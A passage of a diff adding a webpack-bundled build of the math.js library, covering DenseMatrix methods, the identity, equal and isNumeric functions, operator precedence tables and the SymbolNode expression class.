submatrix + // validate dimensions + if (iSize.length < matrix._size.length) { + throw new DimensionError(iSize.length, matrix._size.length, '<'); + } + + if (sSize.length < iSize.length) { + // calculate number of missing outer dimensions + var i = 0; + var outer = 0; + + while (iSize[i] === 1 && sSize[i] === 1) { + i++; + } + + while (iSize[i] === 1) { + outer++; + i++; + } // unsqueeze both outer and inner dimensions + + + submatrix = array.unsqueeze(submatrix, iSize.length, outer, sSize); + } // check whether the size of the submatrix matches the index size + + + if (!object.deepEqual(iSize, sSize)) { + throw new DimensionError(iSize, sSize, '>'); + } // enlarge matrix when needed + + + var size = index.max().map(function (i) { + return i + 1; + }); + + _fit(matrix, size, defaultValue); // insert the sub matrix + + + var dims = iSize.length; + var dim = 0; + + _setSubmatrix(matrix._data, index, submatrix, dims, dim); + } + + return matrix; + } + /** + * Replace a submatrix of a multi dimensional matrix. + * @memberof DenseMatrix + * @param {Array} data + * @param {Index} index + * @param {Array} submatrix + * @param {number} dims Total number of dimensions + * @param {number} dim + * @private + */ + + + function _setSubmatrix(data, index, submatrix, dims, dim) { + var last = dim === dims - 1; + var range = index.dimension(dim); + + if (last) { + range.forEach(function (dataIndex, subIndex) { + validateIndex(dataIndex); + data[dataIndex] = submatrix[subIndex[0]]; + }); + } else { + range.forEach(function (dataIndex, subIndex) { + validateIndex(dataIndex); + + _setSubmatrix(data[dataIndex], index, submatrix[subIndex[0]], dims, dim + 1); + }); + } + } + /** + * Resize the matrix to the given size. Returns a copy of the matrix when + * `copy=true`, otherwise return the matrix itself (resize in place). + * + * @memberof DenseMatrix + * @param {number[]} size The new size the matrix should have. + * @param {*} [defaultValue=0] Default value, filled in on new entries. + * If not provided, the matrix elements will + * be filled with zeros. + * @param {boolean} [copy] Return a resized copy of the matrix + * + * @return {Matrix} The resized matrix + */ + + + DenseMatrix.prototype.resize = function (size, defaultValue, copy) { + // validate arguments + if (!isArray(size)) { + throw new TypeError('Array expected'); + } // matrix to resize + + + var m = copy ? this.clone() : this; // resize matrix + + return _resize(m, size, defaultValue); + }; + + function _resize(matrix, size, defaultValue) { + // check size + if (size.length === 0) { + // first value in matrix + var v = matrix._data; // go deep + + while (isArray(v)) { + v = v[0]; + } + + return v; + } // resize matrix + + + matrix._size = size.slice(0); // copy the array + + matrix._data = array.resize(matrix._data, matrix._size, defaultValue); // return matrix + + return matrix; + } + /** + * Reshape the matrix to the given size. Returns a copy of the matrix when + * `copy=true`, otherwise return the matrix itself (reshape in place). + * + * NOTE: This might be better suited to copy by default, instead of modifying + * in place. For now, it operates in place to remain consistent with + * resize(). + * + * @memberof DenseMatrix + * @param {number[]} size The new size the matrix should have. + * @param {boolean} [copy] Return a reshaped copy of the matrix + * + * @return {Matrix} The reshaped matrix + */ + + + DenseMatrix.prototype.reshape = function (size, copy) { + var m = copy ? this.clone() : this; + m._data = array.reshape(m._data, size); + m._size = size.slice(0); + return m; + }; + /** + * Enlarge the matrix when it is smaller than given size. + * If the matrix is larger or equal sized, nothing is done. + * @memberof DenseMatrix + * @param {DenseMatrix} matrix The matrix to be resized + * @param {number[]} size + * @param {*} defaultValue Default value, filled in on new entries. + * @private + */ + + + function _fit(matrix, size, defaultValue) { + var // copy the array + newSize = matrix._size.slice(0); + + var changed = false; // add dimensions when needed + + while (newSize.length < size.length) { + newSize.push(0); + changed = true; + } // enlarge size when needed + + + for (var i = 0, ii = size.length; i < ii; i++) { + if (size[i] > newSize[i]) { + newSize[i] = size[i]; + changed = true; + } + } + + if (changed) { + // resize only when size is changed + _resize(matrix, newSize, defaultValue); + } + } + /** + * Create a clone of the matrix + * @memberof DenseMatrix + * @return {DenseMatrix} clone + */ + + + DenseMatrix.prototype.clone = function () { + var m = new DenseMatrix({ + data: object.clone(this._data), + size: object.clone(this._size), + datatype: this._datatype + }); + return m; + }; + /** + * Retrieve the size of the matrix. + * @memberof DenseMatrix + * @returns {number[]} size + */ + + + DenseMatrix.prototype.size = function () { + return this._size.slice(0); // return a clone of _size + }; + /** + * Create a new matrix with the results of the callback function executed on + * each entry of the matrix. + * @memberof DenseMatrix + * @param {Function} callback The callback function is invoked with three + * parameters: the value of the element, the index + * of the element, and the Matrix being traversed. + * + * @return {DenseMatrix} matrix + */ + + + DenseMatrix.prototype.map = function (callback) { + // matrix instance + var me = this; + + var recurse = function recurse(value, index) { + if (isArray(value)) { + return value.map(function (child, i) { + return recurse(child, index.concat(i)); + }); + } else { + return callback(value, index, me); + } + }; // return dense format + + + return new DenseMatrix({ + data: recurse(this._data, []), + size: object.clone(this._size), + datatype: this._datatype + }); + }; + /** + * Execute a callback function on each entry of the matrix. + * @memberof DenseMatrix + * @param {Function} callback The callback function is invoked with three + * parameters: the value of the element, the index + * of the element, and the Matrix being traversed. + */ + + + DenseMatrix.prototype.forEach = function (callback) { + // matrix instance + var me = this; + + var recurse = function recurse(value, index) { + if (isArray(value)) { + value.forEach(function (child, i) { + recurse(child, index.concat(i)); + }); + } else { + callback(value, index, me); + } + }; + + recurse(this._data, []); + }; + /** + * Create an Array with a copy of the data of the DenseMatrix + * @memberof DenseMatrix + * @returns {Array} array + */ + + + DenseMatrix.prototype.toArray = function () { + return object.clone(this._data); + }; + /** + * Get the primitive value of the DenseMatrix: a multidimensional array + * @memberof DenseMatrix + * @returns {Array} array + */ + + + DenseMatrix.prototype.valueOf = function () { + return this._data; + }; + /** + * Get a string representation of the matrix, with optional formatting options. + * @memberof DenseMatrix + * @param {Object | number | Function} [options] Formatting options. See + * lib/utils/number:format for a + * description of the available + * options. + * @returns {string} str + */ + + + DenseMatrix.prototype.format = function (options) { + return string.format(this._data, options); + }; + /** + * Get a string representation of the matrix + * @memberof DenseMatrix + * @returns {string} str + */ + + + DenseMatrix.prototype.toString = function () { + return string.format(this._data); + }; + /** + * Get a JSON representation of the matrix + * @memberof DenseMatrix + * @returns {Object} + */ + + + DenseMatrix.prototype.toJSON = function () { + return { + mathjs: 'DenseMatrix', + data: this._data, + size: this._size, + datatype: this._datatype + }; + }; + /** + * Get the kth Matrix diagonal. + * + * @memberof DenseMatrix + * @param {number | BigNumber} [k=0] The kth diagonal where the vector will retrieved. + * + * @returns {Matrix} The matrix with the diagonal values. + */ + + + DenseMatrix.prototype.diagonal = function (k) { + // validate k if any + if (k) { + // convert BigNumber to a number + if (type.isBigNumber(k)) { + k = k.toNumber(); + } // is must be an integer + + + if (!isNumber(k) || !isInteger(k)) { + throw new TypeError('The parameter k must be an integer number'); + } + } else { + // default value + k = 0; + } + + var kSuper = k > 0 ? k : 0; + var kSub = k < 0 ? -k : 0; // rows & columns + + var rows = this._size[0]; + var columns = this._size[1]; // number diagonal values + + var n = Math.min(rows - kSub, columns - kSuper); // x is a matrix get diagonal from matrix + + var data = []; // loop rows + + for (var i = 0; i < n; i++) { + data[i] = this._data[i + kSub][i + kSuper]; + } // create DenseMatrix + + + return new DenseMatrix({ + data: data, + size: [n], + datatype: this._datatype + }); + }; + /** + * Create a diagonal matrix. + * + * @memberof DenseMatrix + * @param {Array} size The matrix size. + * @param {number | Matrix | Array } value The values for the diagonal. + * @param {number | BigNumber} [k=0] The kth diagonal where the vector will be filled in. + * @param {number} [defaultValue] The default value for non-diagonal + * @param {string} [datatype] The datatype for the diagonal + * + * @returns {DenseMatrix} + */ + + + DenseMatrix.diagonal = function (size, value, k, defaultValue, datatype) { + if (!isArray(size)) { + throw new TypeError('Array expected, size parameter'); + } + + if (size.length !== 2) { + throw new Error('Only two dimensions matrix are supported'); + } // map size & validate + + + size = size.map(function (s) { + // check it is a big number + if (type.isBigNumber(s)) { + // convert it + s = s.toNumber(); + } // validate arguments + + + if (!isNumber(s) || !isInteger(s) || s < 1) { + throw new Error('Size values must be positive integers'); + } + + return s; + }); // validate k if any + + if (k) { + // convert BigNumber to a number + if (type.isBigNumber(k)) { + k = k.toNumber(); + } // is must be an integer + + + if (!isNumber(k) || !isInteger(k)) { + throw new TypeError('The parameter k must be an integer number'); + } + } else { + // default value + k = 0; + } + + if (defaultValue && isString(datatype)) { + // convert defaultValue to the same datatype + defaultValue = typed.convert(defaultValue, datatype); + } + + var kSuper = k > 0 ? k : 0; + var kSub = k < 0 ? -k : 0; // rows and columns + + var rows = size[0]; + var columns = size[1]; // number of non-zero items + + var n = Math.min(rows - kSub, columns - kSuper); // value extraction function + + var _value; // check value + + + if (isArray(value)) { + // validate array + if (value.length !== n) { + // number of values in array must be n + throw new Error('Invalid value array length'); + } // define function + + + _value = function _value(i) { + // return value @ i + return value[i]; + }; + } else if (type.isMatrix(value)) { + // matrix size + var ms = value.size(); // validate matrix + + if (ms.length !== 1 || ms[0] !== n) { + // number of values in array must be n + throw new Error('Invalid matrix length'); + } // define function + + + _value = function _value(i) { + // return value @ i + return value.get([i]); + }; + } else { + // define function + _value = function _value() { + // return value + return value; + }; + } // discover default value if needed + + + if (!defaultValue) { + // check first value in array + defaultValue = type.isBigNumber(_value(0)) ? new type.BigNumber(0) : 0; + } // empty array + + + var data = []; // check we need to resize array + + if (size.length > 0) { + // resize array + data = array.resize(data, size, defaultValue); // fill diagonal + + for (var d = 0; d < n; d++) { + data[d + kSub][d + kSuper] = _value(d); + } + } // create DenseMatrix + + + return new DenseMatrix({ + data: data, + size: [rows, columns] + }); + }; + /** + * Generate a matrix from a JSON object + * @memberof DenseMatrix + * @param {Object} json An object structured like + * `{"mathjs": "DenseMatrix", data: [], size: []}`, + * where mathjs is optional + * @returns {DenseMatrix} + */ + + + DenseMatrix.fromJSON = function (json) { + return new DenseMatrix(json); + }; + /** + * Swap rows i and j in Matrix. + * + * @memberof DenseMatrix + * @param {number} i Matrix row index 1 + * @param {number} j Matrix row index 2 + * + * @return {Matrix} The matrix reference + */ + + + DenseMatrix.prototype.swapRows = function (i, j) { + // check index + if (!isNumber(i) || !isInteger(i) || !isNumber(j) || !isInteger(j)) { + throw new Error('Row index must be positive integers'); + } // check dimensions + + + if (this._size.length !== 2) { + throw new Error('Only two dimensional matrix is supported'); + } // validate index + + + validateIndex(i, this._size[0]); + validateIndex(j, this._size[0]); // swap rows + + DenseMatrix._swapRows(i, j, this._data); // return current instance + + + return this; + }; + /** + * Swap rows i and j in Dense Matrix data structure. + * + * @param {number} i Matrix row index 1 + * @param {number} j Matrix row index 2 + * @param {Array} data Matrix data + */ + + + DenseMatrix._swapRows = function (i, j, data) { + // swap values i <-> j + var vi = data[i]; + data[i] = data[j]; + data[j] = vi; + }; + /** + * Preprocess data, which can be an Array or DenseMatrix with nested Arrays and + * Matrices. Replaces all nested Matrices with Arrays + * @memberof DenseMatrix + * @param {Array} data + * @return {Array} data + */ + + + function preprocess(data) { + for (var i = 0, ii = data.length; i < ii; i++) { + var elem = data[i]; + + if (isArray(elem)) { + data[i] = preprocess(elem); + } else if (elem && elem.isMatrix === true) { + data[i] = preprocess(elem.valueOf()); + } + } + + return data; + } // register this type in the base class Matrix + + + type.Matrix._storage.dense = DenseMatrix; + type.Matrix._storage['default'] = DenseMatrix; // exports + + return DenseMatrix; +} + +exports.name = 'DenseMatrix'; +exports.path = 'type'; +exports.factory = factory; +exports.lazy = false; // no lazy loading, as we alter type.Matrix._storage + +/***/ }), +/* 50 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var array = __webpack_require__(2); + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Create a 2-dimensional identity matrix with size m x n or n x n. + * The matrix has ones on the diagonal and zeros elsewhere. + * + * Syntax: + * + * math.identity(n) + * math.identity(n, format) + * math.identity(m, n) + * math.identity(m, n, format) + * math.identity([m, n]) + * math.identity([m, n], format) + * + * Examples: + * + * math.identity(3) // returns [[1, 0, 0], [0, 1, 0], [0, 0, 1]] + * math.identity(3, 2) // returns [[1, 0], [0, 1], [0, 0]] + * + * const A = [[1, 2, 3], [4, 5, 6]] + * math.identity(math.size(A)) // returns [[1, 0, 0], [0, 1, 0]] + * + * See also: + * + * diag, ones, zeros, size, range + * + * @param {...number | Matrix | Array} size The size for the matrix + * @param {string} [format] The Matrix storage format + * + * @return {Matrix | Array | number} A matrix with ones on the diagonal. + */ + + var identity = typed('identity', { + '': function _() { + return config.matrix === 'Matrix' ? matrix([]) : []; + }, + 'string': function string(format) { + return matrix(format); + }, + 'number | BigNumber': function numberBigNumber(rows) { + return _identity(rows, rows, config.matrix === 'Matrix' ? 'default' : undefined); + }, + 'number | BigNumber, string': function numberBigNumberString(rows, format) { + return _identity(rows, rows, format); + }, + 'number | BigNumber, number | BigNumber': function numberBigNumberNumberBigNumber(rows, cols) { + return _identity(rows, cols, config.matrix === 'Matrix' ? 'default' : undefined); + }, + 'number | BigNumber, number | BigNumber, string': function numberBigNumberNumberBigNumberString(rows, cols, format) { + return _identity(rows, cols, format); + }, + 'Array': function Array(size) { + return _identityVector(size); + }, + 'Array, string': function ArrayString(size, format) { + return _identityVector(size, format); + }, + 'Matrix': function Matrix(size) { + return _identityVector(size.valueOf(), size.storage()); + }, + 'Matrix, string': function MatrixString(size, format) { + return _identityVector(size.valueOf(), format); + } + }); + identity.toTex = undefined; // use default template + + return identity; + + function _identityVector(size, format) { + switch (size.length) { + case 0: + return format ? matrix(format) : []; + + case 1: + return _identity(size[0], size[0], format); + + case 2: + return _identity(size[0], size[1], format); + + default: + throw new Error('Vector containing two values expected'); + } + } + /** + * Create an identity matrix + * @param {number | BigNumber} rows + * @param {number | BigNumber} cols + * @param {string} [format] + * @returns {Matrix} + * @private + */ + + + function _identity(rows, cols, format) { + // BigNumber constructor with the right precision + var Big = type.isBigNumber(rows) || type.isBigNumber(cols) ? type.BigNumber : null; + if (type.isBigNumber(rows)) rows = rows.toNumber(); + if (type.isBigNumber(cols)) cols = cols.toNumber(); + + if (!isInteger(rows) || rows < 1) { + throw new Error('Parameters in function identity must be positive integers'); + } + + if (!isInteger(cols) || cols < 1) { + throw new Error('Parameters in function identity must be positive integers'); + } + + var one = Big ? new type.BigNumber(1) : 1; + var defaultValue = Big ? new Big(0) : 0; + var size = [rows, cols]; // check we need to return a matrix + + if (format) { + // get matrix storage constructor + var F = type.Matrix.storage(format); // create diagonal matrix (use optimized implementation for storage format) + + return F.diagonal(size, one, 0, defaultValue); + } // create and resize array + + + var res = array.resize([], size, defaultValue); // fill in ones on the diagonal + + var minimum = rows < cols ? rows : cols; // fill diagonal + + for (var d = 0; d < minimum; d++) { + res[d][d] = one; + } + + return res; + } +} + +exports.name = 'identity'; +exports.factory = factory; + +/***/ }), +/* 51 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var equalScalar = load(__webpack_require__(11)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + + var latex = __webpack_require__(4); + /** + * Test whether two values are equal. + * + * The function tests whether the relative difference between x and y is + * smaller than the configured epsilon. The function cannot be used to + * compare values smaller than approximately 2.22e-16. + * + * For matrices, the function is evaluated element wise. + * In case of complex numbers, x.re must equal y.re, and x.im must equal y.im. + * + * Values `null` and `undefined` are compared strictly, thus `null` is only + * equal to `null` and nothing else, and `undefined` is only equal to + * `undefined` and nothing else. Strings are compared by their numerical value. + * + * Syntax: + * + * math.equal(x, y) + * + * Examples: + * + * math.equal(2 + 2, 3) // returns false + * math.equal(2 + 2, 4) // returns true + * + * const a = math.unit('50 cm') + * const b = math.unit('5 m') + * math.equal(a, b) // returns true + * + * const c = [2, 5, 1] + * const d = [2, 7, 1] + * + * math.equal(c, d) // returns [true, false, true] + * math.deepEqual(c, d) // returns false + * + * math.equal("1000", "1e3") // returns true + * math.equal(0, null) // returns false + * + * See also: + * + * unequal, smaller, smallerEq, larger, largerEq, compare, deepEqual, equalText + * + * @param {number | BigNumber | boolean | Complex | Unit | string | Array | Matrix} x First value to compare + * @param {number | BigNumber | boolean | Complex | Unit | string | Array | Matrix} y Second value to compare + * @return {boolean | Array | Matrix} Returns true when the compared values are equal, else returns false + */ + + + var equal = typed('equal', { + 'any, any': function anyAny(x, y) { + // strict equality for null and undefined? + if (x === null) { + return y === null; + } + + if (y === null) { + return x === null; + } + + if (x === undefined) { + return y === undefined; + } + + if (y === undefined) { + return x === undefined; + } + + return equalScalar(x, y); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, equalScalar); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, equalScalar, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, equalScalar, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, equalScalar); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return equal(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return equal(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return equal(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, equalScalar, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, equalScalar, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, equalScalar, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, equalScalar, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, equalScalar, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, equalScalar, true).valueOf(); + } + }); + equal.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['equal'], "${args[1]}\\right)") + }; + return equal; +} + +exports.name = 'equal'; +exports.factory = factory; + +/***/ }), +/* 52 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Test whether a value is an numeric value. + * + * The function is evaluated element-wise in case of Array or Matrix input. + * + * Syntax: + * + * math.isNumeric(x) + * + * Examples: + * + * math.isNumeric(2) // returns true + * math.isNumeric('2') // returns true + * math.hasNumericValue('2') // returns true + * math.isNumeric(0) // returns true + * math.isNumeric(math.bignumber(500)) // returns true + * math.isNumeric(math.fraction(4)) // returns true + * math.isNumeric(math.complex('2-4i') // returns false + * math.isNumeric([2.3, 'foo', false]) // returns [true, false, true] + * + * See also: + * + * isZero, isPositive, isNegative, isInteger, hasNumericValue + * + * @param {*} x Value to be tested + * @return {boolean} Returns true when `x` is a `number`, `BigNumber`, + * `Fraction`, or `boolean`. Returns false for other types. + * Throws an error in case of unknown types. + */ + var isNumeric = typed('isNumeric', { + 'number | BigNumber | Fraction | boolean': function numberBigNumberFractionBoolean() { + return true; + }, + 'Complex | Unit | string | null | undefined | Node': function ComplexUnitStringNullUndefinedNode() { + return false; + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, isNumeric); + } + }); + return isNumeric; +} + +exports.name = 'isNumeric'; +exports.factory = factory; + +/***/ }), +/* 53 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + // list of identifiers of nodes in order of their precedence +// also contains information about left/right associativity +// and which other operator the operator is associative with +// Example: +// addition is associative with addition and subtraction, because: +// (a+b)+c=a+(b+c) +// (a+b)-c=a+(b-c) +// +// postfix operators are left associative, prefix operators +// are right associative +// +// It's also possible to set the following properties: +// latexParens: if set to false, this node doesn't need to be enclosed +// in parentheses when using LaTeX +// latexLeftParens: if set to false, this !OperatorNode's! +// left argument doesn't need to be enclosed +// in parentheses +// latexRightParens: the same for the right argument + +var properties = [{ + // assignment + 'AssignmentNode': {}, + 'FunctionAssignmentNode': {} +}, { + // conditional expression + 'ConditionalNode': { + latexLeftParens: false, + latexRightParens: false, + latexParens: false // conditionals don't need parentheses in LaTeX because + // they are 2 dimensional + + } +}, { + // logical or + 'OperatorNode:or': { + associativity: 'left', + associativeWith: [] + } +}, { + // logical xor + 'OperatorNode:xor': { + associativity: 'left', + associativeWith: [] + } +}, { + // logical and + 'OperatorNode:and': { + associativity: 'left', + associativeWith: [] + } +}, { + // bitwise or + 'OperatorNode:bitOr': { + associativity: 'left', + associativeWith: [] + } +}, { + // bitwise xor + 'OperatorNode:bitXor': { + associativity: 'left', + associativeWith: [] + } +}, { + // bitwise and + 'OperatorNode:bitAnd': { + associativity: 'left', + associativeWith: [] + } +}, { + // relational operators + 'OperatorNode:equal': { + associativity: 'left', + associativeWith: [] + }, + 'OperatorNode:unequal': { + associativity: 'left', + associativeWith: [] + }, + 'OperatorNode:smaller': { + associativity: 'left', + associativeWith: [] + }, + 'OperatorNode:larger': { + associativity: 'left', + associativeWith: [] + }, + 'OperatorNode:smallerEq': { + associativity: 'left', + associativeWith: [] + }, + 'OperatorNode:largerEq': { + associativity: 'left', + associativeWith: [] + }, + 'RelationalNode': { + associativity: 'left', + associativeWith: [] + } +}, { + // bitshift operators + 'OperatorNode:leftShift': { + associativity: 'left', + associativeWith: [] + }, + 'OperatorNode:rightArithShift': { + associativity: 'left', + associativeWith: [] + }, + 'OperatorNode:rightLogShift': { + associativity: 'left', + associativeWith: [] + } +}, { + // unit conversion + 'OperatorNode:to': { + associativity: 'left', + associativeWith: [] + } +}, { + // range + 'RangeNode': {} +}, { + // addition, subtraction + 'OperatorNode:add': { + associativity: 'left', + associativeWith: ['OperatorNode:add', 'OperatorNode:subtract'] + }, + 'OperatorNode:subtract': { + associativity: 'left', + associativeWith: [] + } +}, { + // multiply, divide, modulus + 'OperatorNode:multiply': { + associativity: 'left', + associativeWith: ['OperatorNode:multiply', 'OperatorNode:divide', 'Operator:dotMultiply', 'Operator:dotDivide'] + }, + 'OperatorNode:divide': { + associativity: 'left', + associativeWith: [], + latexLeftParens: false, + latexRightParens: false, + latexParens: false // fractions don't require parentheses because + // they're 2 dimensional, so parens aren't needed + // in LaTeX + + }, + 'OperatorNode:dotMultiply': { + associativity: 'left', + associativeWith: ['OperatorNode:multiply', 'OperatorNode:divide', 'OperatorNode:dotMultiply', 'OperatorNode:doDivide'] + }, + 'OperatorNode:dotDivide': { + associativity: 'left', + associativeWith: [] + }, + 'OperatorNode:mod': { + associativity: 'left', + associativeWith: [] + } +}, { + // unary prefix operators + 'OperatorNode:unaryPlus': { + associativity: 'right' + }, + 'OperatorNode:unaryMinus': { + associativity: 'right' + }, + 'OperatorNode:bitNot': { + associativity: 'right' + }, + 'OperatorNode:not': { + associativity: 'right' + } +}, { + // exponentiation + 'OperatorNode:pow': { + associativity: 'right', + associativeWith: [], + latexRightParens: false // the exponent doesn't need parentheses in + // LaTeX because it's 2 dimensional + // (it's on top) + + }, + 'OperatorNode:dotPow': { + associativity: 'right', + associativeWith: [] + } +}, { + // factorial + 'OperatorNode:factorial': { + associativity: 'left' + } +}, { + // matrix transpose + 'OperatorNode:transpose': { + associativity: 'left' + } +}]; +/** + * Get the precedence of a Node. + * Higher number for higher precedence, starting with 0. + * Returns null if the precedence is undefined. + * + * @param {Node} + * @param {string} parenthesis + * @return {number|null} + */ + +function getPrecedence(_node, parenthesis) { + var node = _node; + + if (parenthesis !== 'keep') { + // ParenthesisNodes are only ignored when not in 'keep' mode + node = _node.getContent(); + } + + var identifier = node.getIdentifier(); + + for (var i = 0; i < properties.length; i++) { + if (identifier in properties[i]) { + return i; + } + } + + return null; +} +/** + * Get the associativity of an operator (left or right). + * Returns a string containing 'left' or 'right' or null if + * the associativity is not defined. + * + * @param {Node} + * @param {string} parenthesis + * @return {string|null} + * @throws {Error} + */ + + +function getAssociativity(_node, parenthesis) { + var node = _node; + + if (parenthesis !== 'keep') { + // ParenthesisNodes are only ignored when not in 'keep' mode + node = _node.getContent(); + } + + var identifier = node.getIdentifier(); + var index = getPrecedence(node, parenthesis); + + if (index === null) { + // node isn't in the list + return null; + } + + var property = properties[index][identifier]; + + if (property.hasOwnProperty('associativity')) { + if (property.associativity === 'left') { + return 'left'; + } + + if (property.associativity === 'right') { + return 'right'; + } // associativity is invalid + + + throw Error('\'' + identifier + '\' has the invalid associativity \'' + property.associativity + '\'.'); + } // associativity is undefined + + + return null; +} +/** + * Check if an operator is associative with another operator. + * Returns either true or false or null if not defined. + * + * @param {Node} nodeA + * @param {Node} nodeB + * @param {string} parenthesis + * @return {bool|null} + */ + + +function isAssociativeWith(nodeA, nodeB, parenthesis) { + // ParenthesisNodes are only ignored when not in 'keep' mode + var a = parenthesis !== 'keep' ? nodeA.getContent() : nodeA; + var b = parenthesis !== 'keep' ? nodeA.getContent() : nodeB; + var identifierA = a.getIdentifier(); + var identifierB = b.getIdentifier(); + var index = getPrecedence(a, parenthesis); + + if (index === null) { + // node isn't in the list + return null; + } + + var property = properties[index][identifierA]; + + if (property.hasOwnProperty('associativeWith') && property.associativeWith instanceof Array) { + for (var i = 0; i < property.associativeWith.length; i++) { + if (property.associativeWith[i] === identifierB) { + return true; + } + } + + return false; + } // associativeWith is not defined + + + return null; +} + +module.exports.properties = properties; +module.exports.getPrecedence = getPrecedence; +module.exports.getAssociativity = getAssociativity; +module.exports.isAssociativeWith = isAssociativeWith; + +/***/ }), +/* 54 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var latex = __webpack_require__(4); + +var escape = __webpack_require__(9).escape; + +var hasOwnProperty = __webpack_require__(5).hasOwnProperty; + +var getSafeProperty = __webpack_require__(13).getSafeProperty; + +function factory(type, config, load, typed, math) { + var Node = load(__webpack_require__(16)); + /** + * Check whether some name is a valueless unit like "inch". + * @param {string} name + * @return {boolean} + */ + + function isValuelessUnit(name) { + return type.Unit ? type.Unit.isValuelessUnit(name) : false; + } + /** + * @constructor SymbolNode + * @extends {Node} + * A symbol node can hold and resolve a symbol + * @param {string} name + * @extends {Node} + */ + + + function SymbolNode(name) { + if (!(this instanceof SymbolNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } // validate input + + + if (typeof name !== 'string') throw new TypeError('String expected for parameter "name"'); + this.name = name; + } + + SymbolNode.prototype = new Node(); + SymbolNode.prototype.type = 'SymbolNode'; + SymbolNode.prototype.isSymbolNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + SymbolNode.prototype._compile = function (math, argNames) { + var name = this.name; + + if (hasOwnProperty(argNames, name)) { + // this is a FunctionAssignment argument + // (like an x when inside the expression of a function assignment `f(x) = ...`) + return function (scope, args, context) { + return args[name]; + }; + } else if (name in math) { + return function (scope, args, context) { + return name in scope ? getSafeProperty(scope, name) : getSafeProperty(math, name); + }; + } else { + var isUnit = isValuelessUnit(name); + return function (scope, args, context) { + return name in scope ? getSafeProperty(scope, name) : isUnit ? new type.Unit(null, name) : undef(name); + }; + } + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + SymbolNode.prototype.forEach = function (callback) {} // nothing to do, we don't have childs + + /** + * Create a new SymbolNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node) : Node} callback + * @returns {SymbolNode} Returns a clone of the node + */ + ; + + SymbolNode.prototype.map = function (callback) { + return this.clone(); + }; + /** + * Throws an error 'Undefined symbol {name}' + * @param {string} name + */ + + + function undef(name) { + throw new Error('Undefined symbol ' + name); + } + /** + * Create a clone of this node, a shallow copy + * @return {SymbolNode} + */ + + + SymbolNode.prototype.clone = function () { + return new SymbolNode(this.name); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + * @override + */ + + + SymbolNode.prototype._toString = function (options) { + return this.name; + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + * @override + */ + + + SymbolNode.prototype.toHTML = function (options) { + var name = escape(this.name); + + if (name === 'true' || name === 'false') { + return '' + name + ''; + } else if (name === 'i') { + return '' + name + ''; + } else if (name === 'Infinity') { + return '' + name + ''; + } else if (name === 'NaN') { + return '' + name + ''; + } else if (name === 'null') { + return '' + name + ''; + } else if (name === 'undefined') { + return '' + name + ''; + } + + return '' + name + ''; + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + SymbolNode.prototype.toJSON = function () { + return { + mathjs: 'SymbolNode', + name: this.name + }; + }; + /** + * Instantiate a SymbolNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "SymbolNode", name: "x"}`, + * where mathjs is optional + * @returns {SymbolNode} + */ + + + SymbolNode.fromJSON = function (json) { + return new SymbolNode(json.name); + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + * @override + */ + + + SymbolNode.prototype._toTex = function (options) { + var isUnit = false; + + if (typeof math[this.name] === 'undefined' && isValuelessUnit(this.name)) { + isUnit = true; + } + + var symbol = latex.toSymbol(this.name, isUnit); + + if (symbol[0] === '\\') { + // no space needed if the symbol starts with '\' + return symbol; + } // the space prevents symbols from breaking stuff like '\cdot' if it's written right before the symbol + + + return ' ' + symbol; + }; + + return SymbolNode; +} + +exports.name = 'SymbolNode'; +exports.path = 'expression.node'; +exports.math = true; // request access to the math namespace as 5th argument of the factory function + +exports.factory = factory; + +/***/ }), +/* 55 */ +/***/ (function(module, exports, __webpack_require__) { + 